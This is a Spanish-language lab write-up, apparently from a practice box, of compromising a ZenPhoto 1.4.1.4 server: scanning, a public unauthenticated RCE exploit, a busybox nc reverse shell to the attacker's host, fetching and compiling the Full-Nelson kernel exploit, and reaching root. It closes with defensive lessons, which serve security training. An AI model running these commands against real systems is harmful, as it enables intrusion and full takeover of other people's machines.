ZenPhoto
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. ZenPhoto sirve en/test/una instalación de la galería ZenPhoto 1.4.1.4, una versión con una RCE no autenticada conocida (CVE-2011-4825,ajax_create_folder.php). El exploit público18083.phpnos da ejecución comowww-datay, conbusybox nc, una reverse shell. La máquina es un Ubuntu 10.04 con kernel 2.6.37, antiquísimo: el exploit de kernel Full-Nelson (15704.c, CVE-2010-4258) compila en el objetivo y nos lleva arootde un salto.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.118.4164 bytes from 192.168.118.41: icmp_seq=1 ttl=61 time=31.3 msBarremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.118.41PORT STATE SERVICE
22/tcp open ssh
23/tcp open ipp
80/tcp open http
3306/tcp open mysqlnmap -p22,23,80,3306 -sCV 192.168.118.41 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp open ipp CUPS 1.4
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
3306/tcp open mysql MySQL (unauthorized)Las versiones cantan antigüedad: OpenSSH 5.3p1 y Apache 2.2.14 son de Ubuntu 10.04 (2010). El servicio en el 23 no es telnet sino CUPS 1.4 (con PUT habilitado, una rareza que no llega a explotarse aquí), y MySQL no acepta conexiones anónimas. La superficie real es el HTTP del 80, y un sistema tan viejo ya adelanta que la escalada acabará siendo un exploit de kernel.
HTTP - TCP 80
La raíz no muestra nada útil, así que fuzzeamos rutas. Aparece un directorio /test/:
dirsearch -u http://192.168.118.41 --exclude-status=403,404,503301 /test -> http://192.168.118.41/test/
200 /test//test/ es una galería de fotos. Mirando el código fuente de la página, el pie revela la aplicación y su versión exacta: ZenPhoto 1.4.1.4.
![Codigo fuente de /test/ con el pie zenphoto version 1.4.1.4 [8157] (Official Build)](../assets/img/zenphoto/zen-version-185028.webp)
Con versión concreta, vamos directos a buscar exploits conocidos:
searchsploit 'ZenPhoto 1.4'
searchsploit -m php/webapps/18083.phpZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution | php/webapps/18083.php
Codes: OSVDB-76928, CVE-2011-4825Shell como www-data
ZenPhoto 1.4.1.4: RCE no autenticada (CVE-2011-4825)
La vulnerabilidad (CVE-2011-4825) está en ajax_create_folder.php, un endpoint del gestor de ficheros de ZenPhoto que no comprueba autenticación y permite crear y escribir un fichero PHP en el servidor; de ahí a ejecución de comandos hay un paso. El exploit público 18083.php automatiza el proceso y deja una pseudo-shell. Lo renombramos y lo lanzamos contra la instalación de /test/:
php rce.php 192.168.118.41 /test/
+--------------------------------------------------+
| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit |
+--------------------------------------------------+
zenphoto-shell# whoami
www-dataEsa shell del exploit es limitada, así que la usamos para lanzar una reverse shell completa. Como en otras cajas de esta tanda, el retorno por puertos altos no vuelve, así que apuntamos al 80 con busybox nc. Dejamos Penelope a la escucha en el 80:
penelope 80Luego disparamos la reverse shell:
busybox nc 192.168.45.227 80 -e /bin/bash
[+] Got reverse shell from offsecsrv~192.168.118.41-Linux-i686 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
www-data@offsecsrv:/var/www/test/zp-core/.../ajaxfilemanager/inc$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@offsecsrv:...$ whoami
www-dataLa sesión entra como www-data en el host offsecsrv. Leemos la primera prueba:
cat local.txt && whoami && ip a && hostname
19d58f3c626fb58e811fe6bf22d967d4Escalada de privilegios
Full-Nelson: exploit de kernel (Ubuntu 10.04, 2.6.37)
La enumeración local no es necesaria muy a fondo: las versiones del recon ya gritaban Ubuntu 10.04. Ese sistema lleva el kernel 2.6.37, vulnerable a varios local privilege escalation clásicos. Buscamos por distribución:
searchsploit 'Ubuntu 10.04'
searchsploit -m linux/local/15704.cLinux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation | linux/local/15704.c
Codes: CVE-2010-4258, CVE-2010-3850, CVE-2010-3849Full-Nelson (exploit de kernel) encadena tres fallos del subsistema Econet para ejecutar código en anillo 0. Servimos el .c desde nuestra máquina, lo descargamos en el objetivo, lo compilamos allí mismo (la caja tiene gcc) y lo ejecutamos:
python3 -m http.server 8081wget http://192.168.45.227:8081/15704.c
gcc 15704.c -o a.out
./a.out
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf82062d0
[+] Resolved commit_creds to 0xc016dcc0
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root)El uid=0(root) confirma la escalada. Leemos la prueba final:
cat /root/proof.txt && ip a && hostname && whoami
c6a70ba214b4be51abd7896d9b2a9b26Cadena de ataque
Apache 2.2.14 (TCP 80) -> /test/ = ZenPhoto 1.4.1.4
│ ajax_create_folder.php ── CVE-2011-4825 ── RCE no autenticada (18083.php)
│ busybox nc hacia el 80 (puerto de salida permitido)
▼
shell como www-data (local.txt)
│ sistema Ubuntu 10.04, kernel 2.6.37
│ Full-Nelson (15704.c, CVE-2010-4258) -> gcc + ./a.out
▼
shell como root (proof.txt)Lecciones aprendidas
- La versión exacta es la mitad del trabajo. Leer el pie del código fuente reveló ZenPhoto 1.4.1.4, y de ahí a
searchsploity al CVE-2011-4825 fue directo. Ocultar o, mejor, actualizar las versiones expuestas cierra la vía más barata del atacante. - Software sin mantenimiento = RCE pública. ZenPhoto 1.4.1.4 (2011) arrastra una RCE no autenticada conocida; no hizo falta descubrir nada, solo aplicar un exploit publicado. Mantener las aplicaciones al día es la única defensa real.
- Un kernel viejo es escalada casi garantizada. Las versiones del recon (OpenSSH 5.3, Apache 2.2.14) ya delataban un Ubuntu 10.04; el kernel 2.6.37 cayó con Full-Nelson. Conviene matizar: los exploits de kernel pueden tumbar la máquina, así que en un entorno real se reservan para el final.
- El filtrado de salida marca el puerto de retorno. El retorno por un puerto alto no volvía; apuntar la reverse shell al 80, ya abierto, evita ese control.